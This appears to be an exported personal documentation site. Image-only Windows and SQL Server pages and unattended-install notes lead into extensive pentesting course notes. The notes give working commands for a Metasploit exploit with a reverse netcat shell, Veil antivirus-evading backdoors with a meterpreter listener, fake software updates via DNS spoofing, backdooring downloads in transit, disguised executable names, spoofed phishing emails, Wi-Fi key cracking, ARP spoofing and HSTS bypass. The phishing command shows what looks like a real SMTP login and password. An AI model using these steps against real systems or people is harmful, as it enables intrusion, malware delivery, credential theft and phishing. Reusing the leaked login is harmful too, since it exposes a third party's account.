![Diagram](_images/email/9.png) ![Diagram](_images/email/10.png) ![Diagram](_images/email/11.png) ![Diagram](_images/email/12.png) ![Diagram](_images/email/13.png) ![Diagram](_images/email/14.png) ![Diagram](_images/email/15.png) ![Diagram](_images/email/16.png) ![Diagram](_images/email/17.png) ![Diagram](_images/email/18.png) --- # SharePoint Source: docs/computing/microsoft/sharepoint/index.md URL: https://docs.calebsargeant.com/computing/microsoft/sharepoint/ --- # Configuration Source: docs/computing/microsoft/sql-server/configuration.md URL: https://docs.calebsargeant.com/computing/microsoft/sql-server/configuration/ A glob of installation and configuration images. ## Example 1 ![Diagram](_images/formative/1.png) ![Diagram](_images/formative/2.png) ![Diagram](_images/formative/3.png) ![Diagram](_images/formative/4.png) ![Diagram](_images/formative/5.png) ![Diagram](_images/formative/6.png) ![Diagram](_images/formative/7.png) ![Diagram](_images/formative/8.png) ![Diagram](_images/formative/9.png) ![Diagram](_images/formative/10.png) ![Diagram](_images/formative/11.png) ![Diagram](_images/formative/12.png) ![Diagram](_images/formative/13.png) ![Diagram](_images/formative/14.png) ![Diagram](_images/formative/15.png) ![Diagram](_images/formative/16.png) ![17.](_images/formative/17.0.png) ![17.](_images/formative/17.1.png) ![17.](_images/formative/17.2.png) ![Diagram](_images/formative/18.png) ![Diagram](_images/formative/19.png) ![Diagram](_images/formative/20.png) ![Diagram](_images/formative/21.png) ![Diagram](_images/formative/22.png) ![Diagram](_images/formative/23.png) ![Diagram](_images/formative/24.png) ![Diagram](_images/formative/25.png) ![Diagram](_images/formative/26.png) ![Diagram](_images/formative/27.png) ![Diagram](_images/formative/28.png) ![Diagram](_images/formative/29.png) ![Diagram](_images/formative/30.png) ![Diagram](_images/formative/31.png) ![Diagram](_images/formative/32.png) ![Diagram](_images/formative/33.png) ![Diagram](_images/formative/34.png) ![Diagram](_images/formative/35.png) ![Diagram](_images/formative/36.png) ![Diagram](_images/formative/37.png) ![Diagram](_images/formative/38.png) ![Diagram](_images/formative/39.png) ![Diagram](_images/formative/40.png) ![Diagram](_images/formative/41.png) ![Diagram](_images/formative/42.png) ![Diagram](_images/formative/43.png) ![Diagram](_images/formative/44.png) ![Diagram](_images/formative/45.png) ![Diagram](_images/formative/46.png) ![Diagram](_images/formative/47.png) ![Diagram](_images/formative/48.png) ![Diagram](_images/formative/49.png) ![Diagram](_images/formative/50.png) ![Diagram](_images/formative/51.png) ![Diagram](_images/formative/52.png) ![Diagram](_images/formative/53.png) ![Diagram](_images/formative/54.png) ![Diagram](_images/formative/55.png) ![Diagram](_images/formative/56.png) ![Diagram](_images/formative/57.png) ![Diagram](_images/formative/58.png) ![Diagram](_images/formative/59.png) ![Diagram](_images/formative/60.png) ![Diagram](_images/formative/61.png) ## Example 2 ![17.](_images/summative/17.1.png) ![17.](_images/summative/17.2.png) ![Diagram](_images/summative/18.png) ![Diagram](_images/summative/19.png) ![Diagram](_images/summative/20.png) ![Diagram](_images/summative/21.png) ![Diagram](_images/summative/22.png) ![Diagram](_images/summative/23.png) ![Diagram](_images/summative/24.png) ![Diagram](_images/summative/25.png) ![Diagram](_images/summative/26.png) ![Diagram](_images/summative/27.png) ![Diagram](_images/summative/28.png) ![Diagram](_images/summative/29.png) ![Diagram](_images/summative/30.png) ![Diagram](_images/summative/31.png) ![Diagram](_images/summative/32.png) ![Diagram](_images/summative/33.png) ![Diagram](_images/summative/34.png) ![Diagram](_images/summative/35.png) ![Diagram](_images/summative/36.png) ![Diagram](_images/summative/37.png) ![Diagram](_images/summative/38.png) ![Diagram](_images/summative/39.png) ![Diagram](_images/summative/40.png) ![Diagram](_images/summative/41.png) ![Diagram](_images/summative/42.png) ![Diagram](_images/summative/43.png) ![Diagram](_images/summative/44.png) ![Diagram](_images/summative/45.png) ![Diagram](_images/summative/46.png) ![Diagram](_images/summative/47.png) ![Diagram](_images/summative/48.png) ![Diagram](_images/summative/49.png) ![Diagram](_images/summative/50.png) ![Diagram](_images/summative/51.png) ![Diagram](_images/summative/52.png) ![Diagram](_images/summative/53.png) ![Diagram](_images/summative/54.png) ![Diagram](_images/summative/55.png) ![Diagram](_images/summative/56.png) ![Diagram](_images/summative/57.png) ![Diagram](_images/summative/58.png) --- # SQL Server Source: docs/computing/microsoft/sql-server/index.md URL: https://docs.calebsargeant.com/computing/microsoft/sql-server/ --- # Unattended Installations Source: docs/computing/microsoft/unattended.md URL: https://docs.calebsargeant.com/computing/microsoft/unattended/ Brief Instructions on how to create a Windows unattended disk that allow you to: - Put in the disk - Boot from disk - Make some coffee - Come back and OS is installed **Important:** If you make an Unattended disk for 32-bit, and your physical PC where you are installing WAIK on is 64-bit then you cannot make a disk for 32-bit. You can however use something like Oracle VM Virtualbox and install Windows 32-bit virtually. ## Windows 7 - 10 1. Install [WAIK:](https://www.microsoft.com/en-us/download/details.aspx?id=5753) (Remember to use the WAIK relevant to your OS version) 2. Copy Windows onto the local harddrive 3. Open *Windows System Image Manager* 4. *File* \> *Select Windows Image* \> Browse to location of copied OS 5. Select the desired Image 6. Generate the catalog 7. *File* \> *New Answer File* 8. Click the plus by Components 9. Follow the below > - [Server 2012](#server-2012) > - [Server 2008 R2](#server-2008-r2) > - [Windows 7 64-bit](#windows-7-64-bit) > - [Windows 7 32-bit](#windows-7-32-bit) 10. Save the *autounattend.xml* file to the root of the copied OS 11. Use ImgBurn to Write a Bootable ISO > 1. Click *Advanced* \> *Bootable Disk* \> *Make Image Bootable* > 2. Boot Image: `\boot\etfsboot.com` ### Server 2012 ![unattended server2012](_images/unattended-server2012-1.png) ![unattended server2012](_images/unattended-server2012-2.png) ![unattended server2012](_images/unattended-server2012-3.png) ![unattended server2012](_images/unattended-server2012-4.png) ![unattended server2012](_images/unattended-server2012-5.png) ![unattended server2012](_images/unattended-server2012-6.png) ![unattended server2012](_images/unattended-server2012-7.png) ![unattended server2012](_images/unattended-server2012-8.png) ![unattended server2012](_images/unattended-server2012-9.png) ![unattended server2012](_images/unattended-server2012-10.png) ![unattended server2012](_images/unattended-server2012-11.png) ![unattended server2012](_images/unattended-server2012-12.png) ![unattended server2012](_images/unattended-server2012-13.png) ![unattended server2012](_images/unattended-server2012-14.png) ![unattended server2012](_images/unattended-server2012-15.png) ![unattended server2012](_images/unattended-server2012-16.png) ![unattended server2012](_images/unattended-server2012-17.png) ![unattended server2012](_images/unattended-server2012-18.png) ![unattended server2012](_images/unattended-server2012-19.png) ![unattended server2012](_images/unattended-server2012-20.png) ![unattended server2012](_images/unattended-server2012-21.png) ![unattended server2012](_images/unattended-server2012-22.png) ![unattended server2012](_images/unattended-server2012-23.png) ![unattended server2012](_images/unattended-server2012-24.png) ![unattended server2012](_images/unattended-server2012-25.png) ![unattended server2012](_images/unattended-server2012-26.png) ![unattended server2012](_images/unattended-server2012-27.png) ![unattended server2012](_images/unattended-server2012-28.png) ![unattended server2012](_images/unattended-server2012-29.png) ![unattended server2012](_images/unattended-server2012-30.png) ### Server 2008 R2 ![unattended server2008r2](_images/unattended-server2008r2-1.png) ![unattended server2008r2](_images/unattended-server2008r2-2.png) ![unattended server2008r2](_images/unattended-server2008r2-3.png) ![unattended server2008r2](_images/unattended-server2008r2-4.png) ![unattended server2008r2](_images/unattended-server2008r2-5.png) ![unattended server2008r2](_images/unattended-server2008r2-6.png) ![unattended server2008r2](_images/unattended-server2008r2-7.png) ![unattended server2008r2](_images/unattended-server2008r2-8.png) ![unattended server2008r2](_images/unattended-server2008r2-9.png) ![unattended server2008r2](_images/unattended-server2008r2-10.png) ![unattended server2008r2](_images/unattended-server2008r2-11.png) ![unattended server2008r2](_images/unattended-server2008r2-12.png) ![unattended server2008r2](_images/unattended-server2008r2-13.png) ![unattended server2008r2](_images/unattended-server2008r2-14.png) ![unattended server2008r2](_images/unattended-server2008r2-15.png) ![unattended server2008r2](_images/unattended-server2008r2-16.png) ![unattended server2008r2](_images/unattended-server2008r2-17.png) ![unattended server2008r2](_images/unattended-server2008r2-18.png) ![unattended server2008r2](_images/unattended-server2008r2-19.png) ![unattended server2008r2](_images/unattended-server2008r2-20.png) ![unattended server2008r2](_images/unattended-server2008r2-21.png) ![unattended server2008r2](_images/unattended-server2008r2-22.png) ![unattended server2008r2](_images/unattended-server2008r2-23.png) ![unattended server2008r2](_images/unattended-server2008r2-24.png) ![unattended server2008r2](_images/unattended-server2008r2-25.png) ![unattended server2008r2](_images/unattended-server2008r2-26.png) ![unattended server2008r2](_images/unattended-server2008r2-27.png) ![unattended server2008r2](_images/unattended-server2008r2-28.png) ### Windows 7 64-bit ![unattended windows7x64](_images/unattended-windows7x64-1.png) ![unattended windows7x64](_images/unattended-windows7x64-2.png) ![unattended windows7x64](_images/unattended-windows7x64-3.png) ![unattended windows7x64](_images/unattended-windows7x64-4.png) ![unattended windows7x64](_images/unattended-windows7x64-5.png) ![unattended windows7x64](_images/unattended-windows7x64-6.png) ![unattended windows7x64](_images/unattended-windows7x64-7.png) ![unattended windows7x64](_images/unattended-windows7x64-8.png) ![unattended windows7x64](_images/unattended-windows7x64-9.png) ![unattended windows7x64](_images/unattended-windows7x64-10.png) ![unattended windows7x64](_images/unattended-windows7x64-11.png) ![unattended windows7x64](_images/unattended-windows7x64-12.png) ![unattended windows7x64](_images/unattended-windows7x64-13.png) ![unattended windows7x64](_images/unattended-windows7x64-14.png) ![unattended windows7x64](_images/unattended-windows7x64-15.png) ![unattended windows7x64](_images/unattended-windows7x64-16.png) ![unattended windows7x64](_images/unattended-windows7x64-17.png) ![unattended windows7x64](_images/unattended-windows7x64-18.png) ![unattended windows7x64](_images/unattended-windows7x64-19.png) ![unattended windows7x64](_images/unattended-windows7x64-20.png) ![unattended windows7x64](_images/unattended-windows7x64-21.png) ![unattended windows7x64](_images/unattended-windows7x64-22.png) ![unattended windows7x64](_images/unattended-windows7x64-23.png) ![unattended windows7x64](_images/unattended-windows7x64-24.png) ![unattended windows7x64](_images/unattended-windows7x64-25.png) ![unattended windows7x64](_images/unattended-windows7x64-26.png) ![unattended windows7x64](_images/unattended-windows7x64-27.png) ![unattended windows7x64](_images/unattended-windows7x64-28.png) ![unattended windows7x64](_images/unattended-windows7x64-29.png) ![unattended windows7x64](_images/unattended-windows7x64-30.png) ![unattended windows7x64](_images/unattended-windows7x64-31.png) ![unattended windows7x64](_images/unattended-windows7x64-32.png) ![unattended windows7x64](_images/unattended-windows7x64-33.png) ### Windows 7 32-bit ![unattended windows7x86](_images/unattended-windows7x86-1.png) ![unattended windows7x86](_images/unattended-windows7x86-2.png) ![unattended windows7x86](_images/unattended-windows7x86-3.png) ![unattended windows7x86](_images/unattended-windows7x86-4.png) ![unattended windows7x86](_images/unattended-windows7x86-5.png) ![unattended windows7x86](_images/unattended-windows7x86-6.png) ![unattended windows7x86](_images/unattended-windows7x86-7.png) ![unattended windows7x86](_images/unattended-windows7x86-8.png) ![unattended windows7x86](_images/unattended-windows7x86-9.png) ![unattended windows7x86](_images/unattended-windows7x86-10.png) ![unattended windows7x86](_images/unattended-windows7x86-11.png) ![unattended windows7x86](_images/unattended-windows7x86-12.png) ![unattended windows7x86](_images/unattended-windows7x86-13.png) ![unattended windows7x86](_images/unattended-windows7x86-14.png) ![unattended windows7x86](_images/unattended-windows7x86-15.png) ![unattended windows7x86](_images/unattended-windows7x86-16.png) ![unattended windows7x86](_images/unattended-windows7x86-17.png) ![unattended windows7x86](_images/unattended-windows7x86-18.png) ![unattended windows7x86](_images/unattended-windows7x86-19.png) ![unattended windows7x86](_images/unattended-windows7x86-20.png) ![unattended windows7x86](_images/unattended-windows7x86-21.png) ![unattended windows7x86](_images/unattended-windows7x86-22.png) ![unattended windows7x86](_images/unattended-windows7x86-23.png) ![unattended windows7x86](_images/unattended-windows7x86-24.png) ![unattended windows7x86](_images/unattended-windows7x86-25.png) ![unattended windows7x86](_images/unattended-windows7x86-26.png) ![unattended windows7x86](_images/unattended-windows7x86-27.png) ![unattended windows7x86](_images/unattended-windows7x86-28.png) ![unattended windows7x86](_images/unattended-windows7x86-29.png) ![unattended windows7x86](_images/unattended-windows7x86-30.png) ## Windows XP Instructions: 1. Download and install nLite 2. Copy contents of Windows XP Disk to Harddrive 3. Open nLite 4. Locate the copied Windows XP files 5. Integrate updates and drivers if you want 6. At Unattended section > 1. Fully automated > 2. Enabled > 3. XXXXX-XXXXX-XXXXX-XXXXX-XXXXX (please change when activating Windows) > 4. Automatic > 5. Turn off Firewall > 6. Skip OOBE > 7. Turn off Hibernate > 8. System Restore Service Enabled 7. At Users section > 1. Add an account > 2. Username: admin > 3. Password: 1234567 > 4. Local Group: Administrators 8. At Owner and Network ID > 1. Computer Name: windowsxp > 2. Workgroup: WORKGROUP > 3. Full Name: Admin > 4. Organization: Organization 9. At Regional section > 1. Language: English (South Africa) > 2. Localization: English (United States) > 3. Keyboard: US > 4. Location: South Africa > 5. Time Zone: (GMT +02{00) Harare, Pretoria 10. At Automatic Updates > 1. Download and notify of installation 11. Tweek the disk if you want 12. Start the Process and close nLite 13. Edit \[copied xp location\]I386winnt.sif > 1. under \[Unattended\] put: "Repartition = "Yes"" > 2. under \[Data\] put: "AutoPartition = 1" 14. Open nLite again and go straight to Bootable ISO 15. Make a Bootable ISO with nLite 16. Use ImgBurn to write ISO to disk. --- # Gaining Access Source: docs/computing/pentesting/gaining-access.md URL: https://docs.calebsargeant.com/computing/pentesting/gaining-access/ ## Introduction ### Everything is a Computer Two main approaches Server Side - Do not require user interaction, all we need is a target IP - Start with information gathering, find open ports, OS, installed services, and work from there Client Side - Require user interaction, such as opening a file, a link - Information gathering is key here, create a trojan and use social engineering to get the target to run it. ## Server-Side Attacks - Need an IP Address - Very simple if target is on the same network (netdiscover or zenmap) - If target has a domain, then a simple ping will return its IP - Getting the IP is trickier if the target is a personal computer, might be useless if the target is accessing the internet through a network as the IP will be the router and not the targets, client side attacks are more effective in this case asa reverse connection can be used. ### Basic Information Gathering & Exploitation - Try default password - Services might be mis-configured, such as the "r" service. Ports 512, 513, 514 - Some might even contain a back door! - Code execution vulnerabilities ### Analysing Trojans - Check properties of the file - Is it what it seems to be - Run the file in a virtual machine and check resources - Use an online sandbox service () ### Using the Above Attacks Outside the Network - All of the server-side and client-side attacks work outside the network. - You just need to configure the connection properly. This can be done using: - Port forwarding through the router - Installing Kali / tools on the cloud - Port forwarding using SSH - Tunneling services ### Metasploit Metasploit is an exploit development and execution tool. It can also be used to carry out other penetration testing tasks such as port scans, service identification and post exploitation tasks. You can Google the open ports exploits and copy the exploit name from rapid7.com to get the exploit name. - `msfconsole` - runs the metasploit console - `help` - shows help - `show [something]` - something can be exploits, payloads, auxiliaries or options. - `use [something]` - use a certain exploit, payload or auxiliary. - `set [option] [value]` - configure \[option\] to have value of \[value\] - `exploit` - runs the current task Example: ``` bash msfconsole use exploit/multi/samba/usermap_script show options set RHOST 10.20.14.204 show options show payloads set PAYLOAD cmd/unix/reverse_netcat show options set LHOST 10.20.14.203 exploit ``` ### Nexpose Vulnerability Management Framework - Discover open ports and running services - Find vulnerabilities - Find exploits - Verify them - Generate reports - Automate scans ### Conclusion The general steps are always the same! 1. Discover open ports and running services 2. Find vulnerabilities 3. Find exploits 4. Exploit / verify 5. Report ## Client-Side Attacks - Use if server side attacks fail - If IP is probably useless - Requires user interaction - Social engineering can be very useful - Information gathering is vital ### Veil - Framework - A backdoor is a file that gives us full control over the macine that it gets executed on - Backdoors can be caught by Anti-Virus programs - Veil is a framework for generating undetectable backdoors ### Veil Overview & Generating Backdoor ``` bash use 1 list use 15 set LHOST 10.20.14.213 set LPORT 8080 options set PROCESSORS 1 set SLEEP 6 generate rev_https_8080 ``` - Google nodistribute - Upload the file - See the program being undetected from antivirus programs ### Listening for Incoming Connections ``` bash msfconsole use exploit/multi/handler show options set PAYLOAD windows/meterpreter/reverse_https set LHOST 10.20.14.213 set LPORT 8080 show options exploit ``` ### Delivery Method - Put your backdoor file in /var/www/html in Kali - service apache2 start - Browse, download and start the exe file on Windows - Simple method which wont work see below ### Windows 10 Fake Updates - Fake an update for an already installed program - Install backdoor instead of the update - Requires DNS spoofing + Evilgrade (a server to serve the update) 1. Download and install Evilgrade > - Download Evilgrade.zip > - Go to the downloads and boule click evilgrade.zip to uncompress it. > - Open a terminal and run the following commands: ``` bash cd /root/Downloads/evilgrade/ cpan Data::Dump cpan Digest::MD5 cpan Time::HiRes cpan RPC::XML cp -r isrcore /etc/perl ``` Now the tool will work, it might display an error about Gnu.pm this is a known bug with evil-grade, if its annoying you the you can get rid of it using the by removing that lib using the following command `apt-get remove libterm-readline-gnu-perl` Just make sure you re-install it after you're done in case it is needed by other tools `apt-get install libterm-readline-gnu-perl` 2. Start Evilgrade (`./configure`) 3. Check programs that can be hijacked (`show modules`) 4. Select one (`configure [module]`) 5. Set backdoor location (`set agent [agent location]`) 6. Start Server (`start`) 7. Start dns spoofing and handler ``` bash # Once in evilgrade: cd /opt/evilgrade ./evilgrade show options configure dap show options set agent /var/www/html/backdoor.exe set endsite www.speedbit.com show options start # Become MITM bettercap -iface eth0 -caplet /root/spoof.cap set dns.spoof.all true set.spoof.domains update.speedbit.com dns.spoof on # Listen for connections # Then wait for the user to look for updates ``` ### Backdoor Windows 10 Downloads on the Fly - Backdoor any exe the target downloads - We need to be MITM 1. Set IP Address in config (`leafpad /etc/bdfproxy/bdfproxy.cfg`) ``` bash proxyMode = transparent # Windows HOST = 10.0.2.15 ``` 2. Start bdfproxy (`bdfproxy`) ``` bash cd /opt/BDFProxy ./bdf_proxy.py ``` 3. Redirect traffic to bdfproxy (`iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080`) 4. Start listening for connections (`msfconsole -r /usr/share/bdfproxy/bdf_proxy_msf_resource.rc`) 5. Start arp spoofing ### Protecting Yourself Against Smart Delivery Methods - Ensure you're not being MITMed - use trusted networks, xarp - Only download from HTTPS pages - Check file MD5 after download - ## Social Engineering - Gather info about the users - Build a strategy based on the info - Build a backdoor based on the info ### Maltego Maltego is an information gathering tool that can be used to collect information about anything. - Target can be a website, company, person, etc. - Discover entities associated with target - Display info on a graph - Come up with an attack strategy ### Backdooring any File - Combine backdoor with any file - generic solution - Users are more likely to run a pdf, image, or audio file than an executable - Works well with social engineering - How? > - Use a download and execute payload that would: > > > - Download a normal file (image, pdf, etc) and display it to the user > > - Download the evil file and execute it in the background - Use autoit to compile the backdoor file - Use right to left character (search for character in Kali) and replace .exe with gpj.exe and paste the special character after the name of the file ### Fake Emails - Send fake emails - Looks like its sent from any address - Pretend to be a friend, company, boss, etc. - Friend - Ask them to open a file (image, pdf, etc.) - Support member - ask to login to control panel using fake login page - Support member - ask to run a command on a server - Ask to visit a normal web page - etc. ``` sendemail -xu jhnwck70@gmail.com -xp CBPr90hgSDUHL2vF -s smtp-relay.sendinblue.com:587 -f "user@company.com" -t "target@company.com" -u "Check out this car" -m "Hey, checkout this car https://url.com/link-to-file-download.jpg" -o message-header="From: Name Surname " ``` - Use attached sendmail.php ### Beef Framework Browser Exploitation Framework allowing us to launch a number of attacks on a hooked target. Targets are hooked once they load a hook url - DNS spoof requests to a page containing the hook - Inject the hook in brosed pages (need to be MITM) - Use XSS exploit - Social engineer the target to open a hook page Get the user to browse to your beef page --- # Pentesting Source: docs/computing/pentesting/index.md URL: https://docs.calebsargeant.com/computing/pentesting/ --- # Network Hacking Source: docs/computing/pentesting/network-hacking.md URL: https://docs.calebsargeant.com/computing/pentesting/network-hacking/ ## Intro 1. Pre-connection attacks 2. gaining access 3. Post-connection attacks ### What is a MAC Address? - Media Access Control > - Permanent > - Physical > - Unique - Assigned by manufacturer ### Why Change the MAC Address? - Increase anonymity - Impersonate other devices - Bypass filters ### Changing the MAC Address ``` bash ifconfig wlan0 down ifconfig wlan0 hw ether 00:11:22:33:44:55 ``` ### Wireless Modes ``` bash iwconfig ifconfig wlan0 down airmon-ng check kill iwconfig wlan0 mode monitor iwconfig ``` ## Pre-Connection Attacks ### Packet Sniffing Using airodump-ng - Part of the aircrack-ng suit - Airodump-ng is a packet sniffer - Used to capture all packets within range - Display detailed info about networks around us - Connected clients etc. ``` bash airodump-ng [MonitorModeInterface] ``` ### WiFi Bands - Decides the frequency range that can be used - Determines the channels that can be used - Clients need to support band used by router to communicate with it. - Data can be sniffed from a certain band if the wireless adapter used supports that band - Most common wifi bands are: > - a - uses 5Ghz frequency only > - b, g - uses 2.4Ghz frequency only > - n - uses 5 and 2.4 Ghz > - ac - uses frequencies lower than 6 Ghz ``` bash airodump-ng --band a mon0 airodump-ng --band abg mon0 ``` ### Targeted Packet Sniffing ``` bash airodump-ng --bssid F8:23:B2:B9:50:A8 --channel 2 --write test mon0 ``` ### Deauthentication Attack - Disconnect any client from any network > - Works on encrypted networks (WEP, WPA, & WPA2) > - No need to know the network key > - No need to connect to the network ``` aireplay-ng --dauth [#DeauthPackets] -a [NetworkMac] -c [TargetMac] [Interface] ``` ## Gaining Access - WEP Cracking ### Theory Behind Cracking WEP Encryption - Wired Equivalent Privacy - Old encryption - Uses an algorithm called RC4 - Still used in some networks - Can be cracked easily **WEP Cracking** - Client encrypts data using a key - Encrypted packet sent in the air - Router decrypts packet using the key - Each packet is encrypted using a unique key stream - Random initialization vector (IV) is used to geenrate the keys streams - The IV is only 24 bits - IV + Key (Password ) = key stream - IV is too small (only 24 bits) - IV is sent in plain text Result: - IVs will repeat on busy networks - This makes WEP vulnerable to statistical attacks - Repeated IVs can be used to determine the key stream - and break the encryption ### WEP Cracking Basics Conclusion: - To crack WEP we need to: > 1. capture a large number of packets/IVs - using `airodump-ng` > 2. Analyse the captured IVs and crack the key - using `aircrack-ng` ``` bash airodump-ng --bssid 00:11:22:33:44:55 --channel 1 --write basic_wep mon0 aircrack-ng basic_wep-01.cap # Take the key found in brackets [ 41:73:32:33:70 ] or whatever and connect to wifi using the key minus the colons ``` ### Fake Authentication Attack Problem: > - If network is not busy > - It would take some time to capture enough IVs Solution: > - Force the AP to generate new IVs Problem: > - APs only communicate with connected clients. > > > - We cant communicate with it > > - We cant even start the attack Solution: > - Associate with the AP before launcing the attack ``` bash airodump-ng --bssid 00:11:22:33:44:55 --channel 6 --write arpreplay mon0 aireplay-ng --fakeauth 0 -a [targetAPMac] -h [MyMacAddressFirst8DigitsofUnspec] mon0 ``` ### ARP Request Replay Attack - Wait for an ARP packet - Capture it, and replay it (retransmit it) - THis causes the AP to produce another packet with net IV - Keep doing this till we have enough IVs to crack the key ``` bash airodump-ng --bssid 00:11:22:33:44:55 --channel 6 --write arpreplay mon0 aireplay-ng --fakeauth 0 -a [targetAPMac] -h [MyMacAddressFirst8DigitsofUnspec] mon0 aireplay-ng --arpreplay -b [targetAPMac] -h [MyMacAddressFirst8DigitsofUnspec] mon0 aireplay-ng --fakeauth 0 -a [targetAPMac] -h [MyMacAddressFirst8DigitsofUnspec] mon0 aircrack-ng arpreplay-01.cap ``` ## Gaining Access - WPA/WPA2 Cracking ### Intro - Both can be cracked using the same methods - Made to address the issues in WEP - Much more secure - Each packet is encrypted using a unique temporary key - Packets contain no useful information - WPS is a feature that can be used with WPA & WPA2 - Allows client to connect without the password - Authentication is done using an 8 digit pin > - 8 digits is very small > - We can try all possible pins in relatively short time > - Then the WPS pin can be used to compute the actual password - PS. this only works if the router is configured not to use PBC (Push Button Authentication) ### Hacking WPA & WPA2 Without a Wordlist ``` bash # Discover WPS networks wash --interface mon0 # Run reaver reaver -bssid 00:11:22:33:44:55 --channel 1 --interface mon0 -vvv --no-associate # Then do the auth attack airplay-ng --fakeauth 30 -a [targetRouterMAC] -h [myMACAddress] mon0 ``` ### Capturing the Handshake - WPA fixed all weaknesses in WEP - Packets contain no useful data - Only packets that can aid with the cracking process are the handshake packets > - These are 4 packets sent when a client connects to the network ``` bash # Run airodump as usual to get the BSSID and channel # Then run airodump again airodmp-ng --bssid 00:11:22:33:44:55 --channel 1 --write wpa_handshake mon0 # Wait for a device to connect or do a deauth attack to disconnect a client to get it to connect again to capture handshake packets aireplay-ng --deauth 4 -a 00:11:22:33:44:55 -c [clientsMACAddress] mon0 ``` ### Creating a Wordlist - The handshake does not contain data that helps recover the key - It contains data that can be used to check if a key is valid or not Crunch can be used to create a wordlist - Syntax: `crunch [min] [max] [characters] -t [pattern] -o [filename]` - Example: `crunch 6 8 123abc$ -o wordlist -t a@@@@b` - Generated passwords: > - aaaaab > - aabbbb > - aan\$\$b - Links to wordlists > - > - > - > - > - > - > - > - > - > - ### Cracking WPA & WPA2 Using a Wordlist Attack ``` bash aircrack-ng wpa_handshake-01.cap -w test.txt ``` ## Gaining Access - Security ### Securing Your Network From Hackers Now that we know how to test the security of all known wireless encryptions (WEP/WPA/WPA2), it is relatively easy to secure our networks against these attacks as we know all the weaknesses that can be used by hackers to crack these encryptions. So lets have a look on each of these encryptions one by one: 1. WEP: WEP is an old encryption, and its really weak, as we seen in the course there are a number of methods that can be used to crack this encryption regardless of the strength of the password and even if there is nobody connected to the network. These attacks are possible because of the way WEP works, we discussed the weakness of WEP and how it can be used to crack it, some of these methods even allow you to crack the key in a few minutes. 2. WPA/WPA2: WPA and WPA2 are very similar, the only difference between them is the algorithm used to encrypt the information but both encryptions work in the same way. WPA/WPA2 can be cracked in two ways 1. If WPS feature is enabled then there is a high chance of obtaining the key regardless of its complexity, this can be done by exploiting a weakness in the WPS feature. WPS is used to allow users to connect to their wireless network without entering the key, this is done by pressing a WPS button on both the router and the device that they want to connect, the authentication works using an eight digit pin, hackers can brute force this pin in relatively short time (in an average of 10 hours), once they get the right pin they can use a tool called reaver to reverse engineer the pin and get the key, this is all possible due to the fact that the WPS feature uses an easy pin (only 8 characters and only contains digits), so its not a weakness in WPA/WPA2, its a weakness in a feature that can be enabled on routers that use WPA/WPA2 which can be exploited to get the actual WPA/WPA2 key. 2. If WPS is not enabled, then the only way to crack WPA/WPA2 is using a dictionary attack, in this attack a list of passwords (dictionary) is compared against a file (handshake file) to check if any of the passwords is the actual key for the network, so if the password does not exist in the wordlist then the attacker will not be able to find the password. Conclusion: 1. Do not use WEP encryption, as we seen how easy it is to crack it regardless of the complexity of the password and even if there is nobody connected to the network. 2. Use WPA2 with a complex password, make sure the password contains small letters, capital letters, symbols and numbers and; 3. Ensure that the WPS feature is disabled as it can be used to crack your complex WPA2 key by brute-forcing the easy WPS pin. ## Post Connection Attacks - Information Gathering - Discover all devices on the network - Display their > - IP Address > - MAC Address > - OS > - Open ports > - Running services > - Etc. ``` bash netdiscover -r 10.0.2.1/24 ``` ### Network Mapping - HUGE security scanner - From an IP/IP range it can discover > - Open ports > - Running services > - Operating system > - Connected clients > - Etc. ``` bash # You can also use the tool Zenmap nmap -T4 -A -v 192.168.1.1/24 nmap -T4 -F 192.168.1.1/24 nmap -sV -T4 -O -F --version-light 192.168.1.1/24 ``` ## Post Connection Attacks - MiTM ### ARP Poisoning - Address Resolution Protocol - Simple protocol used to map IP Addresses of a machine to its MAC Address Why ARP spoofing is possible > 1. Client accept responses even if they did not send a request > 2. Clients trust responses without any form or verification ### Intercepting Network Traffic Arpspoof > - arpspoof tool to run arp spoofing attacks > - Simple and reliable > - Ported to most operating systems including Android and iOS > - Usage is always the same Usage: > - arpspoof -i \[interface\] -t \[clientIP\] \[gatewayIP\] > - arpspoof -i \[interface\] -t \[gatewayIP\] \[clientIP\] ``` bash # Enable ip forwarding echo 1 > /proc/sys/net/ipv4/ip_forward ``` ### Bettercap Basics - Framework to run network attacks - Can be used to > - ARP Spoof targets (redirect the flow of packets) > - Sniff data (urls, usernam passwords) > - Bypass HTTPS > - Redirect domain requests (DNS spoofing) > - Inject code into loaded pages > - And more - usage: `bettercap -iface [interface]` ``` bash net.probe on net.show ``` ### ARP Spoofing using Bettercap ``` bash set arp.spoof.fullduplex true set arp.spoof.targets 10.0.2.7 arp.spoof on ``` ### Spying on Network Devices (Capturing Passwords, etc.) ``` bash net.sniff on # go to http://vulnweb.com on the target ``` ### Creating Custom Spoofing Script ``` bash bettercap -iface eth0 -caplet spoof.cap ``` ### Bypass HTTPS Problem: - Data in HTTP is sent as plain text - A MITM can read and edit requests and responses - Not secure Solution: - Use HTTPS - HTTPS is an adaptation of HTTP - Encrypt HTTP using TLS or SSL Problem: - Most websites use HTTPS - Data sniffed will be encrypted Solution: - Downgrade HTTPS to HTTP ``` bash hstshijack/hstshijack ``` ### Bypassing HSTS HSTS - HTTP Strict Transport Security - Used by Facebook, Twitter and few other famous websites Problem: - Modern browsers are hard-coded to only load a list of HSTS websites over https Solution: - Trick the browser into loading a different website - Replace all links for HSTS websites with similar links Ex. - facebook.com -\> facebook.corn - twitter.com -\> twiter.com ``` bash # modify the hstshijack.cap file ``` ### Bypassing HSTS Recap | | Examples | Hacker Setup | Firefox | Chrome | |----------------|---------------------------------------------------------------------|-------------------------------------------|---------|-------------------------------------------------------| | HTTP | vulnweb.com | Bettercap | X | X | | HTTPS | linkedin.com, winzip.com, stackoverflow.com, google.ie, netflix.com | zSec custom Kali + Bettercap + HSTShijack | X | Website needs to be included in the HSTSHijack caplet | | Preloaded HSTS | twitter.com, facebook.com, github.com | zSec custom Kali + Bettercap + HSTShijack | X | Works if Secure DNS is disabled | ### DNS Spoofing ``` bash bettercap -iface eth0 -caplet /root/spoof.cap set dns.spoof.all true set dns.spoof.domains zsecurity.org,*.zsecurity.org dns.spoof on ``` ### Injecting Javascript Code **Bettercap Code Injection** - Inject Javascript code in loaded pages - Code gets executed - This can be used to > - Replace links > - Replace images > - Insert html elements > - Hook target browser to exploitation frameworks > - and more ### Bettercap Web Interface - Web interface > - More user-friendly > - Requires more resources > - And more modules ``` bash bettercap -iface eth0 ui.update http-ui # credentials user, pass ``` ### Wireshark - Wireshark is a network protocol analyser - Designed to help network administrators to keep track of whats happening in their network - How it works > - Logs packets taht flow 